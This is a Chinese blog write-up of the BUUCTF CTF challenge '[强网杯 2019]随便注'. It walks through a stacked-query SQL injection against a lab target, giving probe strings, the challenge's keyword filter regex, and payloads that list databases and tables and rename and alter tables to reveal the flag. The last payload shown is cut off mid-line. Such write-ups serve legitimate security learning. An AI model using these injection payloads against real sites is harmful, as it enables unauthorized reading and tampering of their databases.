

BUUCTF [强网杯 2019]随便注

原创

仲璧 于 2022-04-17 19:03:34 发布 1664 收藏 1

分类专栏: [CTF](#) 文章标签: [CTF](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/m0_49025459/article/details/124234149

版权



[CTF 专栏收录该内容](#)

50 篇文章 1 订阅

订阅专栏

题目

题目

解题快手榜

×

[强网杯 2019]随便注

1

请点击启动靶机。

靶机信息

剩余时间: 10415s

<http://f35820c7-af12-4a9f-a4cc-1732972c3e3c.node4.buuoj.cn:81>

销毁靶机

靶机续期

已解锁

Flag

提交

CSDN @仲璧

打开环境发现是经典的提交界面

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势:

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

CSDN @仲璧

老规则还是查询注入点，1 or 1 =1#，1' order by 1#都未出错，但是1' union select 1,2#是出现了错误，发现一些查询语句被过滤了，那没办法了，只好去查查大佬的文章，发现需要使用堆叠查询

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势:

```
return preg_match("/select|update|delete|drop|insert|where|\.\/i", $inject);
```

CSDN @仲璧

那就搞起，查数据库

```
0'; show databases; #
```

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势:

```
array(1) {
  [0]=>
  string(11) "ctftraining"
}

array(1) {
  [0]=>
  string(18) "information_schema"
}

array(1) {
  [0]=>
  string(5) "mysql"
}

array(1) {
  [0]=>
  string(18) "performance_schema"
}

array(1) {
  [0]=>
  string(9) "supersqli"
}

array(1) {
  [0]=>
  string(4) "test"
}
```

CSDN @仲璧

爆表，发现俩表

```
0'; show tables; #
```

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势:

```
array(1) {  
  [0]=>  
  string(16) "1919810931114514"  
}
```

```
array(1) {  
  [0]=>  
  string(5) "words"  
}
```

CSDN @仲壑

爆表中的数据

```
0';show columns from words;#  
0';show columns from `1919810931114514`;#
```

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势:

```
array(6) {  
  [0]=>  
  string(2) "id"  
  [1]=>  
  string(7) "int(10)"  
  [2]=>  
  string(2) "NO"  
  [3]=>  
  string(0) ""  
  [4]=>  
  NULL  
  [5]=>  
  string(0) ""  
}
```

```
array(6) {  
  [0]=>  
  string(4) "data"  
  [1]=>  
  string(11) "varchar(20)"  
  [2]=>  
  string(2) "NO"  
  [3]=>  
  string(0) ""  
  [4]=>  
  NULL  
  [5]=>  
  string(0) ""  
}
```

CSDN @仲壑

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势:

```
array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
```

CSDN @仲璧

看见数字那个表里面有明显的flag，这里怎么也爆不出数据了只能看看大佬写的wp了，大佬是这么说的

那么查询语句很有可能是：`select id,data from words where id =`

因为可以堆叠查询，这时候就想到了一个改名的方法，把words随便改成words1，然后把1919810931114514改成words，再把列名flag改成id，结合上面的`1' or 1=1#`爆出表所有内容就可以查flag啦

```
0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id v
```

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势:

```
array(1) {
  [0]=>
  string(42) "flag {b3dc6253-ed9-4783-9fb8-932bea9b7e03}"
}
```

CSDN @仲璧

我裂开了这谁能想到，这里谢谢大佬[\[强网杯 2019\]随便注 1 - ZM思 - 博客园](#)